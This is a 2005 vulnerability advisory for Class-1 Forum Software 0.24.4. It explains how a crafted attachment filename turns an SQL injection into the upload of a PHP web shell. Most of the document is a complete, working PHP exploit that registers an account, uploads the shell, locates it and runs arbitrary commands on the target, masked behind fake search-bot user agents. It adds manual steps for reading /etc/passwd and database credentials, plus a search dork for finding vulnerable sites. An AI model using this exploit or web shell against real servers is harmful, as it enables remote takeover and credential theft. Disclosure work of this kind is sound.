class-1 Forum Software v 0.24.4 Remote code execution software: site: http://www.class1web.co.uk/software description: class-1 Forum Software is a PHP/MySQL driven web forum. It is written and distributed under the GNU General Public License which means that its source is freely-distributed and available to the general public. vulnerability: the way the forum check attachment extensions... look at the vulnerable code at 256-272 lines: ... // Get File Type $tokens = explode(".", $upload_filename); $image = 0; [!] $extension = $tokens[count($tokens) - 1]; // Get File Size $filesize = $_FILES['filename']['size']; // Make sure file doesn't already exist if (file_exists("$upload_folder/$upload_filename")) { echo "<tr><td class=\"otherfields\" colspan=\"2\">The attachment already exists in the upload folder.</td></tr>"; $upload_file = 0; $upload_filename = ""; } // Check filesize quota [!] $result = forum_exec_query("SELECT * FROM $extensions_table WHERE extension='$extension' AND file_type='Image'", $link); if (mysql_num_rows($result)) $image = 1; ... nothing seems so strange, but... what happen if you try to upload a file with this name? : shell.php.' or 'a' ='a ;) [1] SQL INJECTION! The query and other queries like this become: SELECT * FROM [extensions table name] WHERE extension='' or 'a' ='a' AND file_type='Image' you have bypassed the check... now an executable file is uploaded, because for Apache, both on Windows and Linux a file with that name is an executable php file... you can download a poc file from my site, at url: http://rgod.altervista.org/shell.zip inside we have: <?php error_reporting(0); system($HTTP_GET_VARS[command]); ?> you can do test manually, unzip the file, register, login, post this file as attachment, then go to this url to see the directory where the attachment has been uploaded: http://[target]/[path]/viewattach.php you will be redirected to: http://[target]/[path]/[upload_dir]/ then launch commands: http://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20/etc/passwd to see /etc/passwd file http://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20./../db_config.inc to see database username and password and so on... This is my proof of concept exploit: <?php # 6.44 08/09/2005 # # Class-1 Forum sql injection / remote code execution poc exploit # # coded by rgod -> http://rgod.altervista.org # # make these changes in php.ini if you have troubles # with this script: # # allow_call_time_pass_reference = on # register_globals = on # # this is my piece of poetry... error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo '<head><title>class1 remote commands execution</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6">Class-1 Forum (possibly prior versions) remote commands execution</p> <p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"; target="_blank">http://rgod.altervista.org</a></p> <table width="84%" > <tr> <td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&command=value&proxy=value"> <p> <input type="text" name="host"> <span class="Stile5">hostname (ex: www.sitename.com) </span></p> <p> <input type="text" name="path"> <span class="Stile5">path (ex: /class1/ or /forum/ or just /) </span></p> <p> <input type="text" name="port"> <span class="Stile5">specify a port other than 80 (default value) </span></p> <p> <input type="text" name="command"> <span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p> <p> <input type="text" name="proxy"> <span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p> <p> <input type="submit" name="Submit" value="go!"> </p> </form></td> </tr> </table> </body> </html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".htmlentities($headeri[$li+$ki])."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".htmlentities($headeri[$li])."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} #STEP 1 -> REGISTER $anumber=rand(); $data="username=jimihendrix".$anumber."&email=jimihendrix".$anumber."@mail.com&password=jimyjimy&password2=jimyjimy&icq=&aim=&msn=&yahoo=&website=http%3A%2F%2F&location=&occupation=&interests=&signature=¬ify_private=on&post_count_per_page=10&thread_count_per_page=20&msg_count_per_page=20&date_syntax=D%2C+d+M+Y%2C+G%3Ai%3As"; if ($proxy=='') { $packet="POST ".$path."users.php?mode=postuser HTTP/1.1\r\n"; } else { $c = preg_match_all($proxy_regex,$proxy,$is_proxy); if ($c==0) { echo 'check the proxy...<br>'; die; } else { $packet="POST http://".$host.$path."users.php?mode=postuser HTTP/1.1\r\n"; } } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."users.php?mode=register\r\n";; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); #STEP 2 -> LOGIN $data="username=jimihendrix".$anumber."&password=jimyjimy"; if ($proxy=='') { $packet="POST ".$path."login.php HTTP/1.1\r\n"; } else { $packet="POST http://".$host.$path."login.php HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."users.php?mode=login\r\n";; $packet.="Accept-Language: ru\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); #STEP 3 -> UPLOAD A FILE / SQL INJECTION $data='-----------------------------7d51143b10418 Content-Disposition: form-data; name="filename"; filename="shell.php.'."' or 'a' ='a".'" Content-Type: text/plain <?php error_reporting(0); system($HTTP_GET_VARS[command]); ?> -----------------------------7d51143b10418 Content-Disposition: form-data; name="description" -----------------------------7d51143b10418 Content-Disposition: form-data; name="subject" -----------------------------7d51143b10418 Content-Disposition: form-data; name="message" -----------------------------7d51143b10418 Content-Disposition: form-data; name="inc_sig" -----------------------------7d51143b10418--'; if ($proxy=='') { $packet="POST ".$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1 HTTP/1.1\r\n"; } else { $packet="POST http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1 HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";; $packet.="Accept-Language: fr\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d51143b10418\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mediapartners-Google/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); #STEP 4 -> retrieving upload directory name if ($proxy=='') { $packet="GET ".$path."viewattach.php HTTP/1.1\r\n"; } else { $packet="GET http://".$host.$path."viewattach.php HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";; $packet.="Accept-Language: fr\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); $location=explode('location: ',$data); $temp=$location[1]; $temp2=explode('/',$temp); $location=$temp2[0].'/'; if ($location=='') { echo 'Some problem to retrieve upload directory...<br>'; echo 'check this url manually... -> <a href="http://'.$host.':'.$port.$path.'viewattach.php" target="_blank">http://'.$host.':'.$port.$path.'viewattach.php</a><br>'; echo 'you will be redirected to upload dir...<br>'; echo 'then append this filename: '."shell.php.' or 'a' ='a".' and type commands <br>'; echo 'appending again ?command=[your command] <br>'; die; } echo 'Found ... checking this location -> '.htmlentities($location); #STEP 5 -> Launching commands... if ($proxy=='') { $packet="GET ".$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)." HTTP/1.1\r\n"; } else { $packet="GET http://".$host.$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)." HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";; $packet.="Accept-Language: fr\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while (!feof($fp)) { $data.=fread($fp,1); } } fclose($fp); echo 'If Class-1 Forum is unpatched and vulnerable, now you will see '.htmlentities($command).' output...'; echo nl2br(htmlentities($data)); } ?> googledork: "Powered by and copyright class-1" rgod site: http://rgod.altervista.org mail: retrogod [at] aliceposta . it original advisory: http://www.rgod.altervista.org/class1.html
